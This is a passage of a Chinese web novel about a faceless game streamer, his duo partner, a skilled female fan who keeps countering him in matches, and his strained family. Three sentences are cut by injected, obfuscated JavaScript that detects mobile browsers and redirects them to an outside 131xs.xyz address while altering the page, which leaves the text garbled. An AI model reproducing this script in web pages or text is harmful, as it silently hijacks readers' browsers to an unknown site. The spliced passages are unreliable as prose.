Witty（千狩）：哦，那没事了，我还以为是中路1-4那个骷髅头带的。 独钓韩江雪（骷髅法师）：？？ 韩弋打开数据面板，看清打野是全队经济第二，战绩也是5-2正战绩之后，默默地不再局内发言，只跟好友吐槽：“但凡我是正战绩，我高低得说上两句了。” “你的作用不在人头上，开团你可有大作用。” 郗霁安慰了朋友后，又在键盘上敲字稳定军心。 霁月（猎魔使徒）：打野等会打大龙，然后我们把三路的兵线推过去，这把稳的！ 当打野“千狩”拿下大龙之后，全队成员获得增益加持，在郗霁的指挥下，“骷髅法师”开启大招，获取敌方视野3秒，发现对面ADC在野区打红Buff，“猎魔使徒”立即从中路摸过去，配合“泡泡鱼”的控制，将其击杀，然后潇洒回到中路，拆掉中路高地塔。 此时，打野“千狩”也将下路的兵线带了上来，攻破了下路高地塔，对面几人被钉死在高地清理兵线。 而“泡泡鱼”看准时机，使用控制加减速技能为队友提供输出机会，“猎魔使徒”跟“千狩”立即跟上，对面一个接一个倒下，就连“骷髅法师”在后面放放技能都趁乱拿了一个人头。 最后也是没有意外地拿下胜利，返回组队房间时，郗霁收到了一条新的好友申请。 ID是偷吃月亮，头像是一只正在淋雨的Q版小猫，验证消息是：谢谢你刚刚帮我，不然我被ADC骂完，又会被打野骂了。 【辅助果然加好友来了，主播这是有艳遇了吗？】 【还在游戏里帮忙解过围，这谁不心动？】 【我也想加上好友，霁月先同意我的！】 然而下一刻，郗霁却径直忽略，跟韩弋继续双排去了。 直播间的观众还以为至少会回应一下对方的感谢，没有想到什么都没有，都愣了一下，然后弹幕又欢快地刷了起来。 【卧艹，无情！】 【明明刚刚游戏里还夸人家辅助玩得好，却不同意好友请求，果然男人的话不能信。】 【能拒绝这么萌的妹子，主播不会是Gay吧？】 【他跟他死党的互动，每次都挺Gay的！】 【见识少了，就是真直男互动起来才会无所顾忌。】 接下来，两人又组队玩了两把，手感正热，第三局选完英雄，进入加载界面的时候，韩弋眼尖地瞥见对面辅助的ID，惊讶地出声提醒：“这不是前两把你那个辅助粉丝吗？这次去对面了。” 郗霁看了一眼，还真是。 进入峡谷之后，那位粉丝也是第一时间发了聊天消息过来。 [全部]偷吃月亮（幻光精灵）：好巧，又遇见了，下手轻点啊QAQ 郗霁只感觉有些尴尬，之前连续拒绝了对方两次添加好友的请求，没想到这么快就又遇见了，这是什么运气啊。 经过两局中规中矩的游戏之后，好不容易来点意外，弹幕也是稍微活跃了一些。 【一下午 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368144|183909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 撞车两次，我也想要这种运气。】 【怎么就我运气不好，明明是看着直播专门卡着点去匹配，却一次都没有成功过！】 【直播间都是开了延迟的，没那么容易撞上。】 【欢迎接下来收看主播爆锤粉丝的场面！】 “要手下留情吗？”韩弋问。 “当然不，当演员是要被制裁的。” 郗霁这一局没抢到上单，补位去了打野，选择了凫羽作为本局使用的打野英雄，将召唤师技能“闪现”更换成“惩戒”，进入了峡谷。 开局购买一级打野刀之后，“凫羽”往上野区走去，选择蓝Buff开局。 “凫羽”是比较耗蓝的英雄，而蓝开，是大多数耗蓝的打野英雄的默认选择，拿到蓝Buff之后，能安全，顺利地度过最艰难的前期。 郗霁还在打蓝Buff的途中，视线扫了眼小地图，发现对面少人。 一般开局，除了各自的打野进入野区打野以外，其余位置的英雄都会在各自的分路上对线。 “对面辅助不见了。”郗霁说。 他没有开麦，这句话也只有韩弋跟直播间的粉丝能听见。 韩弋：“可能帮对面打野去了吧，需要我去看看红Buff吗？” “不用，你先帮我探下蓝坑右侧草丛，防止对面蹲蓝。” 听见这话，韩弋立即操纵着他这局使用的中单英雄“漩涡之灵”往蓝Buff处靠近，附近的草丛都看了一遍。 “没人。”他说。 郗霁却总感觉有些不对劲，此时，蓝Buff的血量已经快降到“惩戒”的斩杀线，只待“惩戒”的技能落下，就能将这关键的蓝Buff收入囊中。 就在这时，一道身影从中路靠近我方防御塔的那株草丛里面窜出。 “哎哟我去！”韩弋被吓了一大跳，立即使用“漩涡之灵”的Q技能在范围内指定位置召唤出一处漩涡，想控制住对方。但“幻光精灵”的走位格外灵活，躲过了，然后抢在凫羽前面，一个W技能抢下了这关键蓝Buff。 击杀野怪后能获得加速效果，凭借这点增益效果，在“漩涡之灵”的控制技能已经在刚刚交出去的情况下，“幻光精灵”转身往自家野区跑，虽然途中被“漩涡之灵”平A了几下掉点血量，但不亏，大赚！ “他是从哪里出来的？”韩弋有些不解地说。 “你打开数据面板，‘幻光精灵’的闪现用了。” “靠，你是说我探草的时候他用闪现跟我玩捉迷藏！” 一蓝被抢，郗霁操控着“凫羽”调整方向，先去清其他小野怪，期间还看见对面发来的消息。 [全部]偷吃月亮（幻光精灵）：Sorry! 【哦豁！一蓝被抢，凫羽前期节奏直接被打断了。】 【这辅助有点东西啊，知道凫羽是前期非常耗蓝的英雄，专门来蹲蓝。】 【没想到霁月竟然被粉丝制裁了哈哈】 【让你不加好友，抢你蓝Buff！】 这次意外的截胡是会让“凫羽”前期难受了，但是却也让郗霁瞬间提起了精神。 他本以为对面的打野跟辅助会一起来反野，没想到辅助单枪匹马地来了。 在无视野的情况下选择合适的时间从右侧的草丛不带一点犹豫地冲过来，显然非常清楚用“凫羽”打蓝Buff的进度。 而“幻光精灵”虽然开局学的远程伤害的W技能，但是基础伤害还是比不上输出的，所以排除运气因素外，对野怪血量的精准估算也很厉害。 14. 兄弟？ 没有蓝Buff的回蓝效果，“凫羽”打完第一轮野区就会空蓝，而没有足够的蓝量，技能无法连贯地释放，便是威胁不大的“超级兵”。 于是，“凫羽”只能被迫提前回城恢复蓝量。 这不仅耽搁时间，还让他无法参与第一波Gank跟打龙。 这不，对面的打野在辅助的配合去下路抓人，成功拿下双杀。 我方辅助跟ADC双双被送回泉水之后，也有话要说了。 可乐加冰（聆弦之矢）：对面打野都来下路Gank了，我方打野人呢？ 打完就睡觉（黑水渊兽）：敌我双方打野的区别！不会别抢位置！ 郗霁被骂，直播间的粉丝忿忿不平地维护。 【辅助还好意思叫？明明一蓝对凫羽这么重要开局还不帮忙守！】 【敌我双方辅助的区别！】 【也就是欺负霁月脾气好！换一个脾气臭的打野，一蓝被抢后，就该压力队友了！】 [全部]偷吃月亮（暗夜精灵）：对不起啊，下一个蓝我不抢了QAQ [全部]霁月（凫羽）：跟你没关系，随便来。 因为第一波掉点，对面士气大涨。 于是，第二轮蓝Buff刚刚刷新，对面的中野二人就集合来反蓝。 郗霁早有预料，他也在对面的蓝Buff坑蹲着了。 那就换蓝吧。 这一次，偷吃月亮也预判到了郗霁的行踪，在“凫羽”刚刚打蓝的时候，“幻光精灵”的身影就从中路过来了，看到蓝坑果然有人，立刻又往后退撤。 虽然“凫羽”因为丢失一蓝还没发育起来，但此时单挑一个功能辅还是绰绰有余，只敢捏着技能在远处骚扰。 [全部]偷吃月亮（暗夜精灵）：我说不抢了哇，你怎么反还过来抢蓝了捏？ “凫羽”不会再让对方抢下这一个蓝，将蓝Buff往外拉，“幻光精灵”无论是想要用技能打到“凫羽”，还是想抢蓝，都只能更加靠近蓝坑，缩进安全距离。 “凫羽”将蓝Buff拉到草丛里，看见“幻光精灵”带着ADC前来时，立即大招蓄力，用“惩戒”收下蓝Buff后，利用“凫羽”无视地形的能力，一个俯冲大招踩到了ADC的脸上，连吃带拿拿下双杀。 [全部]霁月（凫羽）：Sorry. [全部]偷吃月亮（暗夜精灵）：好厉害！ “凫羽”刚从地方野区出来，自家也开始不安分了。 可乐加冰（聆弦之矢）：ADC来拿红吧？ 可乐加冰（聆弦之矢）：好！ 霁月（凫羽）：？ 霁月（凫羽）：请放那。 “要我帮你打红吗？”韩弋问。 “不用，我有‘惩戒’，他抢不了我的。” “那你一蓝怎么被抢了。” “……” 【弋哥太逗了！】 【霁月□□沉默了哈哈】 【哪壶不开提哪壶。】 【霁月：快住嘴吧！】 回到下野区的时候，我方ADC“聆弦之矢”已经将红Buff打成残血，“凫羽”赶到的时候，“惩戒”技能已经恢复了，等红Buff到斩杀线，一个“惩戒”轻松收下红Buff，然后转身打他的小野去了。 可乐加冰（聆弦之矢）：不是说了红给我吗？我又没有拿你第一个红！ 霁月（凫羽）：清线发育去，别抢我野断我节奏。 刚刚拿了双杀，“凫羽”的经济已经重新追上来了，这个时候怎么可能将红让给AD。 而且对于AD来说，前期红Buff的增益并非刚需，清完兵线后去推塔和守住自家防御塔，反而能为队伍争取更多发育空间。 当然，这适用于有大局观的ADC。 如果ADC只在意自己发育，想要一枝独秀，也不该在游戏开局没多久，就来打他Buff的主意。 显然，我方ADC是第二种。 可乐加冰（聆弦之矢）：红给我更有用！ 听不懂人话，郗霁也不客气了。 霁月（凫羽）：送出一血的人没资格拿红。 可乐加冰（聆弦之矢）：这是因为谁？ 可乐加冰（聆弦之矢）：人家打野下来Gank了，你人呢？ 霁月（凫羽）：人家来抓你不会往后撤？非要给人送双杀？菜就多练。 没有拿到红Buff，ADC便跟郗霁杠上了。 “凫羽”刷野时，他先抢了两回，都没抢过后，干脆就故意站在野怪旁边“蹭经验”。 郗霁也没惯着他，既然这样，下路的兵线他去抓人的时候也顺手清了，无论ADC给他发多少次撤退都不管用。 于是，两人的争吵也从文字对抗升级到了局内的互相干扰，ADC也从下路跟到了上路，直到对面看不下去了。 [全部]偷吃月亮：可乐崽你再不来守下路，塔就给你推了哟。 因为ADC的消极比赛，很快其他位置的玩家也“问候”起来。 7-0-1的打野跟0-1-1的ADC，该帮谁，该骂谁他们还是分得清的。 又一次抓人的时候，郗霁故意把AD卖了，等AD复活从泉水出来之后，看到自己比辅助还低的经济，才心不甘情不愿地赶去下路。 游戏进行到十七分钟的时候，郗霁的战绩已经达到15-0-4了，他去开大龙，准备下一波结束比赛的时候，这条龙再一次被对面辅助拿命抢了。 [全部]偷吃月亮（幻光精灵）：对不起QAQ [全部]偷吃月亮（幻光精灵）：但你下手好重，我只是一个小辅助呀。 原本可以一波了，但是“幻光精灵”又给对面争取到了苟延残喘的机会。 不过影响不大，郗霁继续带兵线去了，也不吝啬夸赞。 [全部]霁月（凫羽）：抢野时机把握得挺好，挺厉害。 【对面辅助是不是还在偷看直播，专门蹲主播的啊？】 “开了延迟，不是实时直播，对方抢野确实有一套。”刚好看到这种猜测的弹幕，郗霁解释说，以免被带节奏。 他不是输不起，一个没有带“惩戒”的辅助，一局里面能抢他一蓝和两次龙，他真心觉得挺厉害的。 而且比起辅助这个位置，他感觉对方对打野的节奏好像更熟悉一些。 【怎么回事？我觉得你们有点好磕了。】 【上一局我嗤之以鼻，这一局针锋相对我觉得味挺对的！】 【不允许交女朋友啊啊——要交也别放到网络上来555】 【咦？？霁月都没露脸，也有女友粉啊？】 【才知道啊？他女友粉占比有一半了吧。】 【都没露脸还能吸这么多女友粉？】 【这就不懂了，只要声音好听，游戏技术好，我们会自动给他匹配一张帅脸！】 【也许背后是油腻的抠脚大汉呢？】 【退退退！】 【霁月别轻易露脸，这声音就能保你一辈子流量，千万别学隔壁渡云川露脸。】 渡云川，也是银河TV的游戏主播，之前热度非常高，人设包装得非常好，女粉众多。 但可能也是被捧得太高，导致对自己颜值的错误预估，在准备满一千万粉丝的福利时，选择了直播露脸。 结果当然是秒变翻车现场，一千万万粉丝前粉丝涨得有多快，露脸后就以几倍的速度往下掉。 上一次郗霁跟他组队双排的时候，渡云川才露完脸不到一个月，好像听他苦哈哈地悲诉已经掉了两百多万粉丝了。 得到郗霁的夸赞，对面辅助又活跃了起来。 [全部]偷吃月亮（幻光精灵）：这么厉害你真的不给我一个好友位吗？ [全部]偷吃月亮（幻光精灵）：如果这局你那边的辅助是我，肯定早赢了。 [全部]偷吃月亮（幻光精灵）：黑水渊兽被玩成这样，简直浪费。 想到之前“黑水渊兽”内涵的那句“敌我双方打野的区别”，郗霁顺着她的话赞同。 [全部]霁月（凫羽）：你说得对。 对面颓势已定，虽然“幻光精灵”抢到大龙争取了一会时间，但是龙兵被清理后，后继无力，眼睁睁看着郗霁带着超级兵推平水晶。 游戏结束，郗霁如约收到了一条好友申请。 这一次，郗霁点进了对方的主页。 资料很简单，除了性别，再无其他，而且游戏记录还锁了，不过从常用英雄判断，是一位喜欢用辅助英雄上分的玩家。 在点了同意之后，私信便也跟着过来了。 [偷吃月亮]：组队吗？我给你打辅助呀。 郗霁想到上一局在打野时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368145|183909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，这人总是能预判他开龙，抓人的节奏。如果不是队友跟不上，她一个辅助也不能一打五，不然他们之间还能有一番激烈的切磋。 [霁月]：上局打得不错兄弟。 那边立即回复。 [偷吃月亮]：不是兄弟，我女孩子呀QAQ [霁月]：哦，口头禅，一时嘴快了。 三人进入游戏后，新匹配的两个路人从ID看起来明显是情侣。 刚一开始，情侣里男的就提醒： [4楼：让个位置，我和我媳妇儿包下路。] 郗霁和韩弋无所谓，因为他们本来就不是主玩下路的，只是新加入的偷吃月亮好像比较擅长辅助。 “你会打野吗？”郗霁打开麦克风，在只有他们三人能听见的组队语音里问。 “女孩子玩打野的少吧？”韩弋没有开麦，但是他因为坐在郗霁的身旁，声音也被郗霁的麦克风收录。 韩弋的话音刚落，麦克风里立刻飘出一道温柔又软糯的女音，像裹了层棉花糖似的，语气里带着不确定：“其实我打野玩得……不太好，应该会拖累你们的吧。” 韩弋听见这声音背脊挺直了一些，还冲郗霁挑了挑眉，后者倒是没有什么反应，不知道在想什么，没什么表情地盯着屏幕左下角的弹幕。 【哇哦~声音好好听！】 【救命，小姐姐声音好软，我无了。】 【这声音不觉得很夹吗？而且我总觉得听出一股子熟悉的味道，真的不是变音器吗？】 “因为你上一把的表现，我还以为你挺擅长打野。”郗霁忽然说。 偷吃月亮不好意思地说：“因为我之前的cp搭子是主玩打野的，他是万场野王，我拿辅助跟着他耳濡目染了很多。” “那你除了辅助还会玩什么位置？”韩弋也开麦了，声音清晰地出现在队伍语音里。 “我还会玩中单。” “那行。”郗霁看向一旁。“弋哥这把打野？” “可是我打野也很菜。” “你拿一个工具人打野，清完野控好龙就行了。” “那行吧。”韩弋含泪锁了一个工具人打野英雄，不忘嘱咐，“郗哥记得多支援我。” 进入游戏，大家前期各司其职，虽然韩弋玩打野技术上是差了一点，但是有郗霁全程指挥，他只管照做，指哪打哪，所以节奏上也还算是可以。 而那对情侣配合得也不错，下路基本上也是一路顺推。 游戏结束前，情侣里的男生还跟郗霁还互夸了一波。 难逃心动（溯风射手）：兄弟，你的将臣玩得真不错，上路都被你杀穿了。 难逃心动（溯风射手）：对面的打野也没发育起来，所以我这局才能这么轻松。 霁月（将臣）：你跟你媳妇打得也不错。 难逃心动（溯风射手）：谢谢，打野跟你们是三排吗？ 霁月（将臣）：对，怎么了？ 难逃心动（溯风射手）：没什么，只是跟女朋友和兄弟同时三排的很少见。 难逃心动（溯风射手）：不过也没事，你游戏这么厉害，也不担心被挖墙脚了。 游戏结算页面，那对情侣的名字挨在一起。 辅助的名字心动，ADC的名字是难逃心动。 照着这个规律来讲，他的名字跟中单的名字放在一起倒是真有两分情侣名的意思，难怪让人误会了，不过真的只能算是凑巧吧。 直播间的观众也发现了这点，开始在弹幕上带起了节奏。 “今天就直播到这儿了，下次再见。” 郗霁跟直播间的粉丝说了再见，偷吃月亮见郗霁没有返回房间，立即问：“你下播了吗？那还继续玩吗？” “不了。” 韩弋：“我们要去吃饭了。” 偷吃月亮“哦”了一声：“那晚上还玩吗？” 韩弋伸展了一下身体，看向郗霁。 “再说吧。”郗霁说。 解散房间后，韩弋也收到了一条好友申请。 “你这个粉丝来加我了。”他挑眉，“不会是要跟我私联吧，我也成为人脉了。” 对于韩弋的为人，郗霁还是非常信得过的，知道他只是嘴嗨。 “你说什么呢？” “开个玩笑。”韩弋手撑着椅子站了起来，“走吧，请你喝两杯闷酒。” 15. 怀疑 因为都喝了酒，两人都没有开车回家，而是选择打车。 郗霁先到家，他下了车，冲还在出租车里面坐车的韩弋挥手，“我到了，你到家记得给我发消息。” 推开大门，一转头，郗霁又久违地又见到了郗韫彬。 他正靠在假山旁，一身深灰色的定制西装衬得身形挺拔，指间夹着支烟，火星在暮色里明明灭灭，烟灰簌簌落在青石板上。 听见大门被推开的声音，郗韫彬转过头来。 两人四目相对，脸上均是一片漠然。 郗霁喉结动了动，察觉到对方兴致不高，便没开口主动说话。 好在，郗韫彬也只是淡淡地扫了他一眼，没说话，只是烟蒂摁灭时，发出轻微的滋滋声，随后绕过他出了门。 今晚的郗韫彬有些反常，但郗霁也没有兴趣去深究，他回过头看了一眼郗韫彬很快融进夜色里背影，抬腿进入别墅。 门口铺设了地毯，郗霁的脚步声并没有惊动屋里的两位老人。 然后他就听见老太太满是无奈的声音：“这么多年了，你还置什么气呀？人好不容易回来，又让你给骂走了。” 郗爷爷坐在红木椅上，背挺得笔直，手里的拐杖在地板上敲了敲，声音里带着压抑的火气：“置气？哪里是我置气？明明就是这么多年他为了那个演戏的女人跟我们置气！” “是演员，是明星。”老太太强调，“你总是这么说，到时候你那个儿子跟孙子听见了又该不高兴了。” “哼，一大一小两只白眼狼。” “郗霁还是很尊重你的，几个孙辈里面，就他陪我们的时间最多，前几年，你说不让他去弄那个职业游戏，他也就收心回来了。而且你犯病那次，也是他忙上忙下找来大人。倒是我们，因为大人的事一直迁怒于他。” 闻言，郗爷爷拧成了疙瘩的眉头缓和了一些，但想到这些年跟他置气的郗韫彬，还是怒气不减。 “那就说你那个儿子，当初顶撞家里也要跟那女人在一起的是他，后面死活要分开的也是他，我不过顺水推舟添了一把助力，这么多年了，他就一直耿耿于怀！是我让他们分开的吗？分别是他们互相的信任太过薄弱。” “早知道会让儿子跟我们离心这么多年，当初不如就同意了。”老太太叹了一口气。 “同意什么？三天两头地上头条版面，就是后面离婚了也闹得沸沸扬扬不消停。”郗爷爷瞪了她一眼，“这才清静了多少年，你又怀念当初成为别人茶余饭后谈资的时候了？” 郗霁站在门口，指尖无意识地抠着门框，他听了一会儿后，像进来时那样无声地退了出去。 夜风带着几分凉意钻进衣领，郗霁没动，反而微微仰头，面无表情地望着天空。 他嗅着空气中还残留的没有散去的烟味，如果不是他没有抽烟的习惯，现在也想来一根。 轻轻叹了口气，郗霁刚要收回目光，却忽然听见一阵细微的声响，他循声看去，就见西侧的院墙上，一个身影正灵巧地扒着墙沿，下一秒，纵身跳了下来。 “咚” 地一声轻响，那人落地时顺势蹲了一下，动作轻车熟路得像是爬过无数次。 可还没等对方直起身，目光就和郗霁撞了个正着。 “原来你在家啊？”郗泽楷吓了一大跳，直起身来，拍了拍身上的灰，不满地说，“那怎么不给我开门？” “你来干什么？” “我不能来？”郗泽楷反问着，将身上拍干净后便往里走，快到别墅门口时，却被叫住。 郗霁转过身来，郗泽楷被他别有深意的目光看得心脏突兀地一跳，不由得结巴起来：“怎……怎么了？” “你为什么对郗晏那么好？”郗霁忽然没头没尾地问。 郗泽楷下意识反驳：“这有什么奇怪的，我们是堂兄弟。” “我们不也是堂兄弟吗？” “那不一样，你哪有郗晏可怜。” “所以你对他这么好是出于同情。”郗霁手撑着下巴做出思考状，几秒过后，不紧不慢地继续说，“我还以为你是做了什么对不起他的事情，出于愧疚，出于赎罪的心理，才这样维护他。” 郗泽楷僵硬了一下，骂了句“你有病吧”便快步走开。 空荡的庭院归于平静，郗霁回过头，若有所思地看向刚刚郗泽楷翻跃进来的那处围墙。 这会郗霁不想进去，便在庭院了多吹了会夜风，顺便醒醒酒。 兜里的手机震动了一下，他拿出来一看，是韩弋的消息，说他已经到家了。 郗霁回复之后，看到发现页的小红点，顺手点过去，就看见置顶的朋友圈一栏出现熟悉的头像。 他点进去看了一眼，大概知道郗韫彬刚刚的悲伤寂寥是出于什么了。 佟岚在朋友圈分享了两个小家伙一周岁的生日聚会。 这些年，随着佟岚淡出荧幕，她已经鲜少在公共平台分享日常了，所以这次的照片只分享在了私人朋友圈，不对外公开，网上并没有什么消息，他也是这时候才想起来。 郗霁看了有时间，确定柏林那边还是下午，便给佟岚打去了电话。 说完关于两个小家伙的事后，临挂电话之际，郗霁忽然询问：“妈，如果因为我的原因，打破你现如今平静的生活，你会怪我吗？” 其实刚刚奶奶说关于爷爷不让他打职业，他也就收心回来了这句话也不全对。 四年前，也是佟岚宣布隐退结婚，淡出娱乐圈，说以后只好好享受生活的那一年。 话音刚落，电话那头就传来一阵爽朗的笑声：“你妈妈我什么大风大浪没见过？我的黑粉都能重新捧起一个新流量了，你觉得我会担心被人谈论吗？” “如果都没有人谈起我了，那我那么多年不是白干了吗？”佟岚的声音裹着笑意，却透着股不容置疑的笃定，“想做什么就去做吧，妈都支持你。” “谢谢你，妈。” …… 郗霁再一次登陆游戏的时候，是元宵节的晚上。 两位老人睡得早，他便也早早地回了房间，加上明天就可以找理由离开了，所以今晚有兴致熬夜玩会儿游戏。 他刚上线，就收到一条组队邀请，来自于他上一次刚加的粉丝，偷吃月亮。 刚进房间，就传来女孩子开心的声音：“霁月，你也在线啊。” “刚上线。” “今天元宵节，祝你元宵节快乐呀。” “谢谢，这个时间你怎么在线，没跟家人一起过节吗？” “家人已经睡了，现在只有我一个人。”偷吃月亮说着，声音里还带着一丝不易察觉的落寞跟委屈。 郗霁短暂地沉默下来，没有去深挖他人家事的乐趣，而且还是女粉丝，便转移话题说：“那一起玩两把？” 连续开了几局，每一局两人都配合默契，一路连胜。 而在游戏对局中，除了游戏相关，郗霁基本算得上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368146|183909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是沉默寡言了，大部分是偷吃月亮在说，而他偶尔抽空回应。 不知不觉中，聊到了银河电竞杯。 这是银河TV出资举办的，邀请了平台下的游戏大主播和职业选手混合组队的娱乐赛事。 “你技术这么好怎么不去呢？”偷吃月亮认真地发问。 郗霁凭借着出色的意识和丝滑的连招再次越塔强杀对面上单后，才淡淡回应：“不想露脸。” “是担心掉粉吗？但你的声音这么好听，长得肯定也不差吧。而且immortal也会去，你不是很喜欢他吗？” 郗霁握着鼠标的手顿了一下，连带着线上都漏了一个兵。 偷吃月亮继续说：“本来我买了票准备去观看的，可是我那天刚好有事，如果你想去的话，我正好可以把票转给你。” “在什么地方？” 郗霁一般只关心职业联赛，对于这些娱乐性质的比赛不太关注。 “就在澜市，离你很近。” 闻言，郗霁蹙起了眉头，心里那种诡异的怀疑又冒了出来，幽幽地开口：“你怎么知道我在什么地方？” 他好像没有在直播间说起过他是哪里人，又在哪里上学。 “啊？我是通过你的口音猜的，我有亲戚也是你们那边的人，跟你说话一模一样。” “哦……Clear1112。” “什么？” “我的微信号，你把票转让给我，我把钱转给你。” “不用不用，没多少钱，而且我也是用不上才转让出来的。” 这轮游戏结束后，郗霁解锁手机，去微信同意了偷吃月亮的好友申请。 他点开对方的资料，从头像到签名再到朋友圈仔仔细细地游览了一遍，完完全全的女号。 但越是这样，郗霁就感觉越是奇怪。 明明声音和说话方式都不一样，但他就总是幻视那个人。 加上微信后，偷吃月亮那边很快把电子票据的截图发了过来。 郗霁将钱转了过去，没过几秒就又被退了回来。 他们的游戏账号还在同一个组队房间里连线，郗霁就听见耳机里偷吃月亮说不用给她转钱。 但郗霁也很坚持：“你如果不收的话，我怎么好意思用你的门票呢？” “这样吧，你送我两个皮肤好了。” “行。” 郗霁点开偷吃月亮的游戏主页，从她的常用英雄里挑了两个最贵的皮肤打包送过去。 您的礼物已经包装好发送给[偷吃月亮]，这是您送给她的第1个皮肤。 您的礼物已经包装好发送给[偷吃月亮]，这是您送给她的第2个皮肤。 您的好友[偷吃月亮]收到了您送的礼物，并附言： 谢谢＞＜ “不客气。” 说完这句话之后，郗霁退出游戏，从书柜里抽出一本书，开始在微信上对韩弋进行语音轰炸。 [Clear：语音消息_60″] [Clear：语音消息_60″] [Clear：语音消息_32″] [Clear：仔细听听，我有口音吗？] [韩弋：没有口音啊。] [Clear：语音消息_45″] [Clear：这么快，你是不是根本没听。] [Clear：语音消息_60″] [韩弋：……] 16. 送上门 当最后一缕霞光被暮色吞没，城市的夜晚悄然拉开帷幕，而位于城中心的体育馆今晚举行银河电竞杯，早早地热闹了起来。 郗霁检票进场，一边低头编辑信息，在准备点击发送的时候，听见前方传来熟悉的呼喊。 “霁月，这边！”渡云川冲他招手示意，迎上前来，“早说你要来啊，今天才给我发消息。” 说话的人便是前几个月露脸狂掉粉的倒霉蛋渡云川，银河TV游戏板块的大主播。 说实话，在郗霁看来，说渡云川丑倒也不至于，就是大众长相，不太符合女孩们的主流审美而已，而他连续掉粉几个月，还有一个原因是声音和人设将期待值拔得太高，露脸后跟想象中落差太大，才是导致很多粉丝接受不了。 不是有一句话叫做男人的帅存在于女人的想象中吗？ 而渡云川长得浓眉大眼，鼻子不算塌，但也不算挺拔，皮肤状态一般，此时下巴跟额头还有几颗痘痘。而额头不算饱满，甚至有些后缩，搭配宽且方的下颌线，整张脸看起来偏方偏宽。 这种长相没有精致的五官搭配，也没有刻意修饰的气质，处处透着自然生长的粗犷感。 “我也是今天才知道有你参加。”郗霁想到门口那些应援，“不是说过气了吗？我看你线下来的粉丝也还挺多的。” “嗐，基数在那里摆着呢，不过确实掉了挺多的，我只有七百多万粉丝了。” 郗霁：“我撤回一条同情。” “你的位置在哪？我帮你一起找。” “等会吧，来的路上水喝多了，膀胱快炸了，我先去洗手间解决一下。” “哎，那你先别去那边，现在大家都检票进场了，洗手间肯定人多，我带你到后台去的洗手间吧。” 郗霁按照渡云川说的，左转之后一路向前，终于在走廊尽头看见了洗手间的标志。 如渡云川所言，这里前面的观众进不来，只有他们此次邀请在列的选手和主播，还有工作人员才能过来。 郗霁绕过洗手池往里走，在经过第一间隔间的时候，正巧里面的人也推门而出，郗霁下意识后退闪避，才避免跟里面的人撞到一起。 “对不起，没事吧？” 那人不好意地开口，伸手来扶的动作滞了一瞬，眼睛微微瞪大。 “没……事。”四目相对的瞬间，空气好像凝住了。 郗霁看清人后，只觉得冤家路窄，反应过来后，他退开了一大步，绕去了靠里的隔间。 再次见到郁听，郗霁心情复杂。 更复杂的是，没有想到是在洗手间再相见。 而且还差点撞到了一起，他们是八字相冲吗？ 这只不过是一个小插曲，郗霁虽郁闷，但也不会耿耿于怀，可从隔间出来的时候，却发现郁听还没有离开，正对着镜子整理衣服。 见他出来，郁听缓缓放下手，迟疑地开口询问：“哥，我在主播名单里没看见你，所以你是来看比赛的吗？” 郗霁脚步一顿，暗暗打量着郁听的反应，他原本的怀疑又有些不确定了，只能洋装自然地去打开水洗手，“嗯”了一声算作回答。 “那你是来看我的比赛的吗？”郁听又期待地问。 郗霁早在心里说过要体面，但是面对郁听仿佛没事人一样上来套近乎，终究无法完全装作云淡风轻。 “怎么可能。”他嗤笑一声。 “也对。”郁听眼神黯淡了下去，垂下眼，低头整理着衣角，声音低低的，带着点不易察觉的软，“这次邀请的职业选手中有immortal，哥肯定是冲着他来，怎么可能是因为我呢……” 演上瘾了是吧？ 郗霁觉得自己的修行还是不到家，他忍了忍，没忍住：“你够了！” “而且……”郗霁顿了顿，关了水，站直了身体，声音冷得像结了冰，“我觉得我们之间的关系不用叫得这么亲近。” 这话像根针，扎得郁听的肩膀垮了下去，他抬起眼，又不甘心地垂下去，嘴唇动了动，说道：“哥，对不起。” “你是为什么道歉？” “我没有第一时间告诉你我跟郗晏是同学。”他脸色很白，“但是我其他方面真的没有骗过你，如果你还生气就冲我发火吧，别憋在心里。” “哦，那你倒是说说你为什么接近我？” “因为你以前帮过我，所以接近你只是我的意愿，跟其他人没有关系。” 没有想到得到的竟然是这样的回答，郗霁上下打量着郁听，认真地在脑海里思索了一圈，无果后，询问：“什么时候？我做了什么？” 见郗霁就是要打破砂锅问到底了，郁听喉结上下滚了滚，陷入纠结，整个人都透着一股想说又不敢说的局促与犹豫。 “就是……就是之前还在一中的时候，我被人欺负，你帮过我。”他断断续续地开口。 “我帮过的人有很多，你再说具体一点。”郗霁目光灼灼地盯着他，几乎要将人看穿，“时间，具体地点，欺负你的人是谁？” 要说吗？ 郁听闭上眼，脸上的纠结清晰可见。 如果没有确定心意的话，他可能会和盘突出。 